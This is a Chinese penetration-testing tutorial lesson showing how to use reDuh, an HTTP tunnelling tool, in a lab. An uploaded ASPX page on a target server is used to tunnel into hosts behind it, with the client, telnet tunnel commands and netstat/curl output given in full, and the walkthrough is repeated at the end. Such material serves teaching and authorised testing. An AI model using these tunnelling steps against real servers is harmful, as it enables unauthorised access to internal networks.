第一百课：HTTP隧道reDuh第四季

reDuh简介：

reDuh是sensepost由2008-07年发布，从本质上讲，可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器，便可以访问该服务器后面的主机。

BlackHat USA 2008介绍： https://drive.google.com/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By-

Github： https://github.com/sensepost/reDuh

攻击机： 192.168.1.5 Debian 192.168.1.4 Windows 7

靶机： 192.168.1.119 Windows 2003

安装：

root@John:~# git clone https://github.com/sensepost/reDuh.git
Cloning into 'reDuh'...
remote: Enumerating objects: 47, done.
remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47
Unpacking objects: 100% (47/47), done.
root@John:~# cd reDuh/
root@John:~/reDuh# ls
README.markdown reDuhClient reDuhServers

靶机执行： 以aspx为demo。

攻击机执行： 绑定端口：

root@John:~/reDuh/reDuhClient/dist# java ‐jar reDuhClient.jar http://192.168.1.119/reDuh.aspx
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from 192.168.1.119:80/reDuh.aspx. Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010

开启新terminal，建立隧道命令如下：

root@John:~# telnet 127.0.0.1 1010
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Welcome to the reDuh command line
>>[createTunnel]30080:127.0.0.1:80
Successfully bound locally to port 30080. Awaiting connections.

攻击机端口前后对比：

root@John:~# netstat ‐ntlp
Active Internet connections (only servers)
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::22 :::* LISTEN 674/sshd
root@John:~# netstat ‐ntlp
Active Internet connections (only servers)
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::1010 :::* LISTEN 6102/java
tcp6 0 0 :::22 :::* LISTEN 674/sshd
tcp6 0 0 :::30080 :::\* LISTEN 6102/java

访问攻击机30080端口，既等价于访问靶机80端口

root@John:~# curl http://192.168.1.5:30080/
<html> 

<head>
<meta HTTP‐EQUIV="Content‐Type" Content="text/html; charset=gb2312"> 

<title ID=titletext>建设中</title>

</head> 

<body bgcolor=white> 

... 

</body>

</html>

遗憾的是reDuh年代久远，使用繁琐，并官方已停止维护。但是它奠定了HTTP隧道。

Micropoor

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Last updated 6 years ago

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root@John:~# git clone https://github.com/sensepost/reDuh.git Cloning into 'reDuh'... remote: Enumerating objects: 47, done. remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47 Unpacking objects: 100% (47/47), done. root@John:~# cd reDuh/ root@John:~/reDuh# ls README.markdown reDuhClient reDuhServers

root@John:~/reDuh/reDuhClient/dist# java ‐jar reDuhClient.jar http://192.168.1.119/reDuh.aspx [Info]Querying remote web page for usable remote service port [Info]Remote RPC port chosen as 42000 [Info]Attempting to start reDuh from 192.168.1.119:80/reDuh.aspx. Using service port 42000. Please wait... [Info]reDuhClient service listener started on local port 1010

root@John:~# telnet 127.0.0.1 1010 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Welcome to the reDuh command line >>[createTunnel]30080:127.0.0.1:80 Successfully bound locally to port 30080. Awaiting connections.

root@John:~# netstat ‐ntlp Active Internet connections (only servers) Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau tcp6 0 0 :::22 :::* LISTEN 674/sshd root@John:~# netstat ‐ntlp Active Internet connections (only servers) Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau tcp6 0 0 :::1010 :::* LISTEN 6102/java tcp6 0 0 :::22 :::* LISTEN 674/sshd tcp6 0 0 :::30080 :::\* LISTEN 6102/java

root@John:~# curl http://192.168.1.5:30080/ <html> <head> <meta HTTP‐EQUIV="Content‐Type" Content="text/html; charset=gb2312"> <title ID=titletext>建设中</title> </head> <body bgcolor=white> ... </body> </html>